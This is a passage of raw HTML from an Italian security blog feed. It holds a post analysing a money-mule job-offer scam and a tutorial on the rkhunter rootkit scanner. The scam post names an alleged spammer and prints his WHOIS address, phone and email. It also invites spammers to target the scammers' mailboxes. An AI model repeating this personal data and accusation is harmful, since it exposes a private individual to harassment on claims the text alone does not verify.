<input type="hidden" name="postDateTime_0" value="2010-03-02 00:03:30">
<input type="hidden" name="postContent_0" value="&lt;p&gt;Mi sono occupato in passato di phishing, una insidia che dovrebbe essere ormai ben nota, specialmente nelle sue forme più rozze, alla stragrande maggioranza degli utenti di Internet.&lt;/p&gt;
&lt;p&gt;Ricapitolando brevemente, il phishing è una attività illegale, praticata con l&amp;#8217;ausilio di tecniche sempre più sofisticate di ingegneria sociale, allo scopo di ottenere l&amp;#8217;accesso a informazioni personali o riservate, e con l&amp;#8217;obiettivo di attuare un qualche tipo di sostituzione di identità.&lt;span id=&quot;more-1225&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Rientrano in questa tipologia tutti quei tentativi di convincere la vittima, spesso tramite comunicazioni fasulle da parte dei più diversi istituti di credito, a rivelare i dati personali necessari per l&amp;#8217;accesso al proprio conto corrente bancario on-line, raggiungibile direttamente tramite un link che sembra puntare all&amp;#8217;autentico sito istituzionale, ma che in realtà punta ad un clone, più o meno credibile, dell&amp;#8217;originale.&lt;/p&gt;
&lt;p&gt;Come è ovvio, le tecniche utilizzate per impadronirsi dei dati di cui sopra si sono nel tempo evolute, e con ogni probabilità continueranno a farlo.&lt;br /&gt;
Una tecnica più moderna consiste nella installazione e attivazione di applicativi di keylogging sul computer vittima, anche qui spesso tramite varie manovre di ingegneria sociale, ma sovente anche tramite infezioni di virus e worm avvenute sfruttando vulnerabilità, vecchie e nuove, a carico dei sistemi operativi e/o programmi applicativi più diffusi.&lt;br /&gt;
In questo caso, gli ignari utenti possono accedere al sito originale, non necessariamente a un&amp;#8217;imitazione, ma la cattura delle credenziali di accesso avviene al momento del loro stesso inserimento da tastiera.&lt;br /&gt;
Qualunque sia la tecnica utilizzata, il risultato è comunque quello di permettere ai truffatori l&amp;#8217;accesso al conto corrente della vittima di turno.&lt;/p&gt;
&lt;p&gt;A questo punto i truffatori si trovano a risolvere un problema non indifferente, cioè quello di incassare materialmente le somme divenute disponibili, essendo troppo pericoloso effettuare direttamente dei bonifici, inoltre lento e sospetto nel caso in cui si tratti di bonifici internazionali, sui propri conti correnti.&lt;br /&gt;
Uno dei metodi attualmente più usati ed efficaci consiste nell&amp;#8217;abbindolare qualcuno per convincerlo fare al il lavoro rischioso (oserei dire kamikaze) al posto loro.&lt;/p&gt;
&lt;p&gt;La truffa ha quindi due tipi distinti di vittime, i truffati di tipo A, cui sono stati sottratti gli estremi di accesso al proprio conto online e sono quindi gli originali derubati, e quelli di tipo B, che avendo fatto da intermediari, pagano tutte le responsabilità della truffa, che riesce quasi sempre a lasciare i veri truffatori felicemente impuniti.&lt;/p&gt;
&lt;p&gt;In genere viene offerto al truffato di tipo B un lavoro che richiede poco tempo, alcune conoscenze di base, e che viene subito presentato come ben retribuito (ovviamente per aumentare le probabilità di una risposta). A chi risponde dicendo di essere interessato si spiega che l&amp;#8217;attività consiste nel ricevere bonifici sul proprio conto corrente, prelevare i contanti e spedirli, tipicamente via MoneyGram, Western Union o servizi simili a un fantomatico tizio di Mosca o San Pietroburgo (per esempio).&lt;/p&gt;
&lt;p&gt;Nel caso in cui l&amp;#8217;offerta venga accettata, il truffato di tipo B dovrà fornire le proprie coordinate bancarie ai truffatori.&lt;/p&gt;
&lt;p&gt;I truffatori accedendo quindi online al conto corrente del truffato di tipo A, effettuano un bonifico al truffato di tipo B. Quest&amp;#8217;ultimo preleva i soldi (in genere gli viene concesso di trattenerne una quota tipo il 10%, come compenso) e li manda via Western Union o similia al tizio di cui sopra.&lt;/p&gt;
&lt;p&gt;A questo punto é solo questione di tempo, prima o poi il truffato di tipo A si accorge della presenza di ammanchi inspiegabili di denaro dal suo conto. Supponiamo che facendo un semplice controllo scopra ad esempio che é stato fatto un bonifico di cui non riconosce il motivo.&lt;br /&gt;
Segnala la cosa alla sua banca e parte la denuncia. Il destinatario del bonifico, ovvero il truffato di tipo B viene subito rintracciato dalla polizia postale, il suo conto bloccato per le indagini, mentre lui viene incriminato per reati che possono essere truffa, riciclaggio, e nel peggiore dei casi, associazione a delinquere, in base agli elementi di indagine raccolti. Probabilmente verrebbe sequestrato anche il o i pc in suo possesso, alla ricerca delle sue reali responsabilità.&lt;br /&gt;
Il truffato  di tipo B, anche per alleggerire la propria posizione, è tenuto poi a dover restituire la cifra sottratta al truffato di tipo A, e dato che ha spedito il 90% dei soldi ai truffatori, è già una bella batosta economica. Deve poi essere in grado di dimostrare di essere stato truffato egli stesso, e di non essere quindi parte attiva nella truffa. Questo dipende ovviamente dalle specifiche circostanze e dalla abilità dei suoi legali e dei loro consulenti. E anche questo ha ovviamente un costo.&lt;br /&gt;
Molto spesso, tutto quello che è oggettivamente ottenibile in tal senso è solo una riduzione del danno.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Piccola analisi di un caso reale&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Prendiamo la seguente email di esempio.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Vi salutiamo&lt;br /&gt;
Sono Cora del negozio di gioielli leader,&lt;br /&gt;
stiamo cercando impiegati per lavoro su mezza giornata, per il ruolo di segretario.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Non c&amp;#8217;e bisogno di conoscenze o abilita particolari, e un semplice lavoro amministrativo.&lt;br /&gt;
le prime tre settimane e il periodo di prova, il lavoro occupera circa un&amp;#8217;ora e mezzo alla settimana.&lt;br /&gt;
Basandosi sui risultati, paghiamo ogni settimana incentivi in contanti.&lt;br /&gt;
La formazione e veloce e gratis, e sempre disponibile il Suo individuale Istruttore.&lt;br /&gt;
Sara mio piacere rispondere a tutte le Sue domande personalmente : Cora@cet-west.com&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Cordiali saluti,,&lt;br /&gt;
Cora&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Una email simile corrisponde proprio al metodo descritto in precedenza per abbindolare le vittime del tipo B.&lt;br /&gt;
All&amp;#8217;origine della truffa vi è stavolta una persona reale e non un nome fittizio, il signor Maksim Rodkin, uno spammer che si dichiara software engineer Citrix e MS sul proprio profilo Linkedin (http://ru.linkedin.com/pub/rodkin-maksim/15/256/7A5), ed è titolare del blog maximrodkin.blogspot.com.&lt;br /&gt;
Egli utilizza sempre gli stessi riferimenti per registrare i propri domini trappola (cet-west.com, 24watch-es.com, western-gold.net, golden-rich-it.com, kilipolozarak.com, international-ca.com, it-euro-shop.com, it-west-next.com, es-streams.net, international-ca.com, lavoro-it.org, goldes-it.com, shop-euronet.net, tr-euro.com, international-es.com, es-euro-shop.com, es-shopper.com, watch-euro.com, tr-euro.com, west-nets.net, webseuro.com) .&lt;/p&gt;
&lt;p&gt;Ad esempio, per quanto riguarda il dominio cet-west.com, i riferimenti sono i seguenti:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;# whois -h whois.regtime.net cet-west.com&lt;br /&gt;
% Regtime Ltd. WHOIS server&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
Domain name: cet-west.com&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
Name servers:&lt;br /&gt;
ns1.nameself.com&lt;br /&gt;
ns2.nameself.com &lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
Registrar: Regtime Ltd.&lt;br /&gt;
Creation date: 2010-02-22&lt;br /&gt;
Expiration date: 2011-02-22&lt;br /&gt;
Status: active &lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
Registrant:&lt;br /&gt;
Maksim Rodkin&lt;br /&gt;
Email: roddsn@post.com&lt;br /&gt;
Organization: Private person&lt;br /&gt;
Address: Miichurinskij prospekt, d.10-2, kv. 144&lt;br /&gt;
City: Moskva&lt;br /&gt;
State: Moskovskaya&lt;br /&gt;
ZIP: 178234&lt;br /&gt;
Country: RU&lt;br /&gt;
Phone: +7.4956783214&lt;br /&gt;
Administrative Contact:&lt;br /&gt;
[idem]&lt;br /&gt;
Technical Contact:&lt;br /&gt;
[idem]&lt;br /&gt;
Billing Contact:&lt;br /&gt;
[idem]&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
Ecco infatti un clone della e-mail precedente, provenienete però stavolta dal dominio western-gold.net, facente parte della variegata galassia con cui mister Max Rodkin cerca di arrotondare il proprio stipendio di software engineer:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Salve&lt;br /&gt;
Sono Eric del negozio di gioielli leader,&lt;br /&gt;
stiamo cercando dipendenti per lavoro part time, per il ruolo di consulente.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Non c&amp;#8217;e bisogno di conoscenze o abilita particolari, e un semplice lavoro amministrativo.&lt;br /&gt;
le prime tre settimane e il periodo di prova, il lavoro occupera 1 ora al giorno.&lt;br /&gt;
Basandosi sui risultati, paghiamo ogni giorno contanti.&lt;br /&gt;
La formazione e durante il lavoro, e sempre disponibile il Suo personale Istruttore.&lt;br /&gt;
Siamo disponibili per qualsiasi Sua domanda : Eric@western-gold.net&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;In attesa di un Suo riscontro,,&lt;br /&gt;
Eric&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Il titolare del dominio è ancora il nostro intraprendente signor Rodkin:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
Domain name: western-gold.net &lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
Name servers:&lt;br /&gt;
ns1.nameself.com&lt;br /&gt;
ns2.nameself.com &lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
Registrar: Regtime Ltd.&lt;br /&gt;
Creation date: 2010-02-22&lt;br /&gt;
Expiration date: 2011-02-22&lt;br /&gt;
Status: active &lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
Registrant:&lt;br /&gt;
Maksim Rodkin&lt;br /&gt;
Email: roddsn@post.com&lt;br /&gt;
Organization: Private person&lt;br /&gt;
Address: Miichurinskij prospekt, d.10-2, kv. 144&lt;br /&gt;
City: Moskva&lt;br /&gt;
State: Moskovskaya&lt;br /&gt;
ZIP: 178234&lt;br /&gt;
Country: RU&lt;br /&gt;
Phone: +7.4956783214&lt;br /&gt;
Administrative Contact:&lt;br /&gt;
[idem]&lt;br /&gt;
Technical Contact:&lt;br /&gt;
[idem]&lt;br /&gt;
Billing Contact:&lt;br /&gt;
[idem]&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
Per farla breve l&amp;#8217;indirizzo roddsn@post.com risulta presente come contact nei record whois di oltre 20 domini.&lt;/p&gt;
&lt;p&gt;Una rappresentazione grafica parziale ma piuttosto descrittiva dell&amp;#8217;organizzazione di Rodkin è rappresentata dal grafico seguente.&lt;/p&gt;
&lt;p&gt;&lt;img class=&quot;aligncenter size-full wp-image-1226&quot; title=&quot;paterva_small&quot; src=&quot;http://www.voipandhack.it/wp-content/uploads/2010/03/paterva_small.png&quot; alt=&quot;paterva_small&quot; width=&quot;500&quot; height=&quot;327&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Molti dei domini sono ospitati sulla stessa macchina (situata fisicamente in territorio Russo) all&amp;#8217;indirizzo 193.104.94.57.&lt;br /&gt;
Alcuni di essi risultano intestati direttamente a lui, nello stile visto sopra, tutti gli altri risultano registrati dal medesimo registrar cinese (piuttosto omertoso nel fornire informazioni), ma sono accomunabili in quanto anch&amp;#8217;essi origine del medesimo tipo di spam.&lt;br /&gt;
I loro nameservers autoritativi sono tuttavia pure essi ospitati all&amp;#8217;indirizzo 193.104.94.57, e sono quindi domini virtuali, tranne cet-west.com.&lt;/p&gt;
&lt;p&gt;Gli accounts di posta individuati (e destinati a ricevere le risposte di coloro che abboccano alla truffa) sono numerosi, ma devono per forza essere raggiungibili. Il motivo per cui ne pubblico &lt;a href=&quot;http://www.voipandhack.it/email-list&quot;&gt;qui&lt;/a&gt; l&amp;#8217;elenco è la speranza che trattandosi di un documento indicizzabile dai motori di ricerca, cada presto preda di altri spammer, nella speranza di rendere il lavoro del signor Rodkin quantomeno più stressante. Visto che le eventuali email di risposta da parte delle vittime dovranno essere necessariamente esaminate manualmente, dovrebbe passare un po&amp;#8217; di tempo a fare pulizia nelle proprie caselle di posta, di cui gli indirizzi in elenco costituiscono ovviamente degli alias.&lt;/p&gt;
&lt;p&gt;Scorrendo la lista si scoprono molti indirizzi piuttosto improbabili o ridicoli come:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Arnulfo@western-gold.net&lt;br /&gt;
Zenaide@golden-rich-it.com&lt;br /&gt;
Devota@golden-rich-it.com&lt;br /&gt;
Saffo@golden-rich-it.com&lt;br /&gt;
Icaro@golden-rich-it.com&lt;br /&gt;
Venustiano@golden-rich-it.com&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Conclusioni&lt;/p&gt;
&lt;p&gt;L&amp;#8217;aspetto vincente di queste truffe rimane quello finanziario, visto che il misfatto viene scoperto quando è già stato consumato.&lt;br /&gt;
Quello che risulta frustrante è anche il fatto che i responsabili rimangano facilmente impuniti. Troppo costoso il ricorso a rogatorie internazionali per singoli episodi apparentemente scollegati e riguardanti cifre di poche migliaia di euro ciascuno.&lt;br /&gt;
L&amp;#8217;intelligenza truffaldina di personaggi come il signor Rodkin risulta comunque modesta, dato che bisogna essere un po&amp;#8217; stupidi per non realizzare che molte potenziali vittime si trattengono dall&amp;#8217;abboccare proprio perché si ritrovano bombardate da offerte molto simili fra loro.&lt;br /&gt;
Tuttavia la madre degli stupidi è sempre incinta, e durante il breve tempo che mi ha preso questa piccola analisi mi è capitato già diverse volte di reperire online ammissioni da parte di persone cadute in trappola.&lt;/p&gt;
">
<table cellspacing="0" cellpadding="0" border="0" width="100%" ><tr><td align="left">Send post as <a href="http://en.pdf24.org" target="_blank">PDF</a> to <input class="pdf24Plugin-cp-input" type="text" name="sendEmailTo" value="Enter email address" onMouseDown="this.value = '';"> <input class="pdf24Plugin-cp-submit" type="submit" value="Send"></td><td align="right"><a href="http://en.pdf24.org" target="_blank" title="PDF | PDF Creator | PDF Converter"><img src="http://www.pdf24.org/images/sheep_16x16.gif" alt="PDF | PDF Creator | PDF Converter" border="0"></a></td></table></form></div>]]></content:encoded>
			<wfw:commentRss>http://www.voipandhack.it/archives/societa/il-secondo-lavoro-del-signor-max-rodkin/feed</wfw:commentRss>
		</item>
		<item>
		<title>Difendersi con rkhunter</title>
		<link>http://www.voipandhack.it/archives/linux/difendersi-con-rkhunter</link>
		<comments>http://www.voipandhack.it/archives/linux/difendersi-con-rkhunter#comments</comments>
		<pubDate>Sun, 14 Feb 2010 22:59:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Hacking]]></category>

		<category><![CDATA[Linux]]></category>

		<category><![CDATA[Sicurezza]]></category>

		<category><![CDATA[chkrootkit]]></category>

		<category><![CDATA[malware]]></category>

		<category><![CDATA[rkhunter]]></category>

		<category><![CDATA[rootkit]]></category>

		<category><![CDATA[security]]></category>

		<category><![CDATA[software]]></category>

		<guid isPermaLink="false">http://www.voipandhack.it/?p=1220</guid>
		<description><![CDATA[Rkhunter opera in maniera abbastanza simile a chkrootkit in quanto analizza un sistema alla ricerca di rootkits, tuttavia esso controlla anche altri tipi di exploits.
Con ciò non intendo affatto affermare che rkhunter sia migliore rispetto a chkrootkit.
A parer mio, anzi dovrebbero essere entrambi utilizzati per un reciproco completamento.
Rkhunter è in grado di eseguire controlli come:

Confronto [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.rootkit.nl/">Rkhunter</a> opera in maniera abbastanza simile a chkrootkit in quanto analizza un sistema alla ricerca di rootkits, tuttavia esso controlla anche altri tipi di exploits.<span id="more-1220"></span></p>
<p>Con ciò non intendo affatto affermare che rkhunter sia migliore rispetto a chkrootkit.<br />
A parer mio, anzi dovrebbero essere entrambi utilizzati per un reciproco completamento.</p>
<p>Rkhunter è in grado di eseguire controlli come:</p>
<ul>
<li>Confronto hash MD5</li>
</ul>
<ul>
<li> Controllo di files normalmente usati da rootkits</li>
</ul>
<ul>
<li> Errate file permissions per binari</li>
</ul>
<ul>
<li> Ricerca di stringhe sospette nei moduli LKM e KLD</li>
</ul>
<ul>
<li> Ricerca di hidden files</li>
</ul>
<ul>
<li> Scansione opzionale di files plaintext e binari</li>
</ul>
<p>Rkhunter utilizza a sua volta il package Unhide, un &#8220;forensic&#8221; tool in grado di rilevare processi e porte TCP/UDP nascoste da rootkits, Linux kernel modules o altre tecniche. Esso si avvale infatti di altre due utilities: unhide e unhide-tcp.</p>
<p>Il primo, unhide, rileva processi nascosti utilizzando tre diverse tecniche:</p>
<ul>
<li>confrontando il contenuto di /proc e l&#8217; output di /bin/ps</li>
</ul>
<ul>
<li> confrontando le informazioni ottenute tramite /bin/ps con quelle ottenute tramite system calls (syscall scanning)</li>
</ul>
<ul>
<li> full scan del process ID space (PIDs bruteforcing)</li>
</ul>
<p>Il secondo, unhide-tcp identifica le eventuali porte TCP/UDP in ascolto non rilevate da /bin/netstat, tramite brute forcing di tutte le porte TCP/UDP possibili.</p>
<p>Lanciato con la opzióne -c rkhunter effettua un controllo completo del sistema:<br />
<code><br />
# rkhunter -c<br />
[ Rootkit Hunter version 1.3.4 ] </code><br />
<code><br />
Checking system commands... </code><br />
<code><br />
Performing 'strings' command checks<br />
Checking 'strings' command                               [ OK ] </code><br />
<code><br />
Performing 'shared libraries' checks<br />
Checking for preloading variables                        [ None found ]<br />
Checking for preload file                                [ Not found ]<br />
Checking LD_LIBRARY_PATH variable                        [ Not found ] </code><br />
<code><br />
Performing file properties checks<br />
Checking for prerequisites                               [ OK ]<br />
/bin/bash                                                [ OK ]<br />
/bin/cat                                                 [ OK ]<br />
/bin/chmod                                               [ OK ]<br />
/bin/chown                                               [ OK ]<br />
/bin/cp                                                  [ OK ]<br />
/bin/date                                                [ OK ]<br />
/bin/df                                                  [ OK ]<br />
/bin/dmesg                                               [ OK ]<br />
/bin/echo                                                [ OK ]<br />
/bin/ed                                                  [ OK ]<br />
/bin/egrep                                               [ OK ]<br />
/bin/fgrep                                               [ OK ]<br />
/bin/fuser                                               [ OK ]<br />
/bin/grep                                                [ OK ]<br />
/bin/ip                                                  [ OK ]<br />
/bin/kill                                                [ OK ]<br />
/bin/less                                                [ OK ]<br />
/bin/login                                               [ OK ]<br />
/bin/ls                                                  [ OK ]<br />
/bin/lsmod                                               [ OK ]<br />
/bin/mktemp                                              [ OK ]<br />
/bin/more                                                [ OK ]<br />
/bin/mount                                               [ OK ]<br />
/bin/mv                                                  [ OK ]<br />
/bin/netstat                                             [ OK ]<br />
/bin/ps                                                  [ OK ]<br />
/bin/pwd                                                 [ OK ]<br />
[...]<br />
</code><br />
È possibile personalizare i test da effettuare selezionandoli fra quelli disponibili:<br />
<code><br />
# rkhunter --list </code><br />
<code><br />
Available test names:<br />
additional_rkts all apps attributes avail_modules deleted_files<br />
filesystem group_accounts group_changes hashes hidden_procs immutable<br />
known_rkts loaded_modules local_host malware network none<br />
os_specific other_malware packet_cap_apps passwd_changes ports possible_rkt_files<br />
possible_rkts possible_rkt_strings promisc properties rootkits running_procs<br />
scripts shared_libs shared_libs_path startup_files startup_malware strings<br />
suspscan system_commands system_configs trojans </code><br />
<code><br />
Grouped test names:<br />
additional_rkts =&gt; possible_rkt_files possible_rkt_strings<br />
group_accounts  =&gt; group_changes passwd_changes<br />
local_host      =&gt; filesystem group_changes passwd_changes startup_malware system_configs<br />
malware         =&gt; deleted_files hidden_procs other_malware running_procs suspscan<br />
network         =&gt; packet_cap_apps ports promisc<br />
os_specific     =&gt; avail_modules loaded_modules<br />
possible_rkts   =&gt; possible_rkt_files possible_rkt_strings<br />
properties      =&gt; attributes hashes immutable scripts<br />
rootkits        =&gt; avail_modules deleted_files hidden_procs known_rkts loaded_modules other_malware possible_rkt_files possible_rkt_strings running_procs suspscan trojans<br />
shared_libs     =&gt; shared_libs_path<br />
startup_files   =&gt; startup_malware<br />
system_commands =&gt; attributes hashes immutable scripts shared_libs_path strings </code><br />
<code><br />
Available languages:<br />
cn en zh zh.utf8 </code><br />
<code><br />
Rootkits checked for:<br />
55808 Trojan - Variant A, AjaKit, Ambient (ark), Apache Worm, aPa Kit, Balaur,<br />
BeastKit, beX2, BOBKit, CiNIK Worm (Slapper.B variant), Danny-Boy's Abuse Kit, Devil,<br />
Dica, Dreams, Duarawkz, Enye LKM, Flea Linux, FreeBSD,<br />
Fuck`it, GasKit, Heroin LKM, HjC Kit, ignoKit, ImperalsS-FBRK,<br />
IntoXonia-NG, Irix, Kitko, Knark, Li0n Worm, Lockit / LJK2,<br />
Mood-NT, MRK, Ni0, Ohhara, Optic Kit (Tux), Oz,<br />
Phalanx, Phalanx2, Portacelo, R3dstorm Toolkit, RH-Sharpe's, RSHA's,<br />
Scalper Worm, Shutdown, SHV4, SHV5, Sin, SInAR,<br />
Slapper, Sneakin, Suckit, SunOS / NSDAP, SunOS Rootkit, Superkit,<br />
T0rn, TBD (Telnet BackDoor), TeLeKiT, Trojanit Kit, Tuxtendo, URK,<br />
Vampire, VcKit, Volc, X-Org SunOS, zaRwT.KiT<br />
</code><br />
Ad esempio:<br />
<code><br />
# rkhunter --enable hidden_procs,loaded_modules<br />
[ Rootkit Hunter version 1.3.4 ] </code><br />
<code><br />
Checking for rootkits... </code><br />
<code><br />
Performing malware checks<br />
Checking for hidden processes                            [ None found ] </code><br />
<code><br />
Performing Linux specific checks<br />
Checking loaded kernel modules                           [ OK ] </code><br />
<code><br />
[Press  to continue]<br />
</code></p>
<p><code><br />
System checks summary<br />
===================== </code><br />
<code><br />
File properties checks...<br />
All checks skipped </code><br />
<code><br />
Rootkit checks...<br />
Rootkits checked : 0<br />
Possible rootkits: 0 </code><br />
<code><br />
Applications checks...<br />
All checks skipped </code><br />
<code><br />
The system checks took: 1 minute and 13 seconds<br />
All results have been written to the logfile (/var/log/rkhunter.log)<br />
No warnings were found while checking the system.<br />
[...]<br />
</code><br />
Come per altri tool di controllo, è una buona idea attivare rkhunter nell&#8217;ambito di un cron job come il seguente, che utilizza uno script inserito nella directory /etc/cron.daily, in modo da essere lanciato automaticamente ogni giorno alla stessa ora.<br />
<code><br />
#!/bin/sh<br />
( /usr/local/bin/rkhunter --cronjob --update --rwo &amp;&amp; echo "" ) \<br />
| /bin/mail -s "Rkhunter giornaliero su  `uname -n`" root<br />
exit 0<br />
</code></p>
<div class="pdf24Plugin-cp-box"><form method="POST" action="http://doc2pdf.pdf24.org/doc2pdf/wordpress.php" target="pdf24PopWin" onsubmit="window.open('about:blank', 'pdf24PopWin', 'scrollbars=yes,width=400,height=200,top=0,left=0'); return true;"><input type="hidden" name="blogCharset" value="UTF-8">
<input type="hidden" name="blogPosts" value="1">
<input type="hidden" name="blogUrl" value="http://www.voipandhack.it">
<input type="hidden" name="blogName" value="VoIP &amp;amp; Hack">
<input type="hidden" name="blogValueEncoding" value="htmlSpecialChars">
<input type="hidden" name="postTitle_0" value="Difendersi con rkhunter">
<input type="hidden" name="postLink_0" value="http://www.voipandhack.it/archives/linux/difendersi-con-rkhunter">
<input type="hidden" name="postAuthor_0" value="admin">
<input type="hidden" name="postDateTime_0" value="2010-02-14 23:02:29">
<input type="hidden" name="postContent_0" value="&lt;p&gt;&lt;a href=&quot;http://www.rootkit.nl/&quot;&gt;Rkhunter&lt;/a&gt; opera in maniera abbastanza simile a chkrootkit in quanto analizza un sistema alla ricerca di rootkits, tuttavia esso controlla anche altri tipi di exploits.&lt;span id=&quot;more-1220&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Con ciò non intendo affatto affermare che rkhunter sia migliore rispetto a chkrootkit.&lt;br /&gt;
A parer mio, anzi dovrebbero essere entrambi utilizzati per un reciproco completamento.&lt;/p&gt;
&lt;p&gt;Rkhunter è in grado di eseguire controlli come:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Confronto hash MD5&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li&gt; Controllo di files normalmente usati da rootkits&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li&gt; Errate file permissions per binari&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li&gt; Ricerca di stringhe sospette nei moduli LKM e KLD&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li&gt; Ricerca di hidden files&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li&gt; Scansione opzionale di files plaintext e binari&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Rkhunter utilizza a sua volta il package Unhide, un &amp;#8220;forensic&amp;#8221; tool in grado di rilevare processi e porte TCP/UDP nascoste da rootkits, Linux kernel modules o altre tecniche. Esso si avvale infatti di altre due utilities: unhide e unhide-tcp.&lt;/p&gt;
&lt;p&gt;Il primo, unhide, rileva processi nascosti utilizzando tre diverse tecniche:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;confrontando il contenuto di /proc e l&amp;#8217; output di /bin/ps&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li&gt; confrontando le informazioni ottenute tramite /bin/ps con quelle ottenute tramite system calls (syscall scanning)&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li&gt; full scan del process ID space (PIDs bruteforcing)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Il secondo, unhide-tcp identifica le eventuali porte TCP/UDP in ascolto non rilevate da /bin/netstat, tramite brute forcing di tutte le porte TCP/UDP possibili.&lt;/p&gt;
&lt;p&gt;Lanciato con la opzióne -c rkhunter effettua un controllo completo del sistema:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
# rkhunter -c&lt;br /&gt;
[ Rootkit Hunter version 1.3.4 ] &lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
Checking system commands... &lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
Performing 'strings' command checks&lt;br /&gt;
Checking 'strings' command                               [ OK ] &lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
Performing 'shared libraries' checks&lt;br /&gt;
Checking for preloading variables                        [ None found ]&lt;br /&gt;
Checking for preload file                                [ Not found ]&lt;br /&gt;
Checking LD_LIBRARY_PATH variable                        [ Not found ] &lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
Performing file properties checks&lt;br /&gt;
Checking for prerequisites                               [ OK ]&lt;br /&gt;
/bin/bash                                                [ OK ]&lt;br /&gt;
/bin/cat                                                 [ OK ]&lt;br /&gt;
/bin/chmod                                               [ OK ]&lt;br /&gt;
/bin/chown                                               [ OK ]&lt;br /&gt;
/bin/cp                                                  [ OK ]&lt;br /&gt;
/bin/date                                                [ OK ]&lt;br /&gt;
/bin/df                                                  [ OK ]&lt;br /&gt;
/bin/dmesg                                               [ OK ]&lt;br /&gt;
/bin/echo                                                [ OK ]&lt;br /&gt;
/bin/ed                                                  [ OK ]&lt;br /&gt;
/bin/egrep                                               [ OK ]&lt;br /&gt;
/bin/fgrep                                               [ OK ]&lt;br /&gt;
/bin/fuser                                               [ OK ]&lt;br /&gt;
/bin/grep                                                [ OK ]&lt;br /&gt;
/bin/ip                                                  [ OK ]&lt;br /&gt;
/bin/kill                                                [ OK ]&lt;br /&gt;
/bin/less                                                [ OK ]&lt;br /&gt;
/bin/login                                               [ OK ]&lt;br /&gt;
/bin/ls                                                  [ OK ]&lt;br /&gt;
/bin/lsmod                                               [ OK ]&lt;br /&gt;
/bin/mktemp                                              [ OK ]&lt;br /&gt;
/bin/more                                                [ OK ]&lt;br /&gt;
/bin/mount                                               [ OK ]&lt;br /&gt;
/bin/mv                                                  [ OK ]&lt;br /&gt;
/bin/netstat                                             [ OK ]&lt;br /&gt;
/bin/ps                                                  [ OK ]&lt;br /&gt;
/bin/pwd                                                 [ OK ]&lt;br /&gt;
[...]&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
È possibile personalizare i test da effettuare selezionandoli fra quelli disponibili:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
# rkhunter --list &lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
Available test names:&lt;br /&gt;
additional_rkts all apps attributes avail_modules deleted_files&lt;br /&gt;
filesystem group_accounts group_changes hashes hidden_procs immutable&lt;br /&gt;
known_rkts loaded_modules local_host malware network none&lt;br /&gt;
os_specific other_malware packet_cap_apps passwd_changes ports possible_rkt_files&lt;br /&gt;
possible_rkts possible_rkt_strings promisc properties rootkits running_procs&lt;br /&gt;
scripts shared_libs shared_libs_path startup_files startup_malware strings&lt;br /&gt;
suspscan system_commands system_configs trojans &lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
Grouped test names:&lt;br /&gt;
additional_rkts =&amp;gt; possible_rkt_files possible_rkt_strings&lt;br /&gt;
group_accounts  =&amp;gt; group_changes passwd_changes&lt;br /&gt;
local_host      =&amp;gt; filesystem group_changes passwd_changes startup_malware system_configs&lt;br /&gt;
malware         =&amp;gt; deleted_files hidden_procs other_malware running_procs suspscan&lt;br /&gt;
network         =&amp;gt; packet_cap_apps ports promisc&lt;br /&gt;
os_specific     =&amp;gt; avail_modules loaded_modules&lt;br /&gt;
possible_rkts   =&amp;gt; possible_rkt_files possible_rkt_strings&lt;br /&gt;
properties      =&amp;gt; attributes hashes immutable scripts&lt;br /&gt;
rootkits        =&amp;gt; avail_modules deleted_files hidden_procs known_rkts loaded_modules other_malware possible_rkt_files possible_rkt_strings running_procs suspscan trojans&lt;br /&gt;
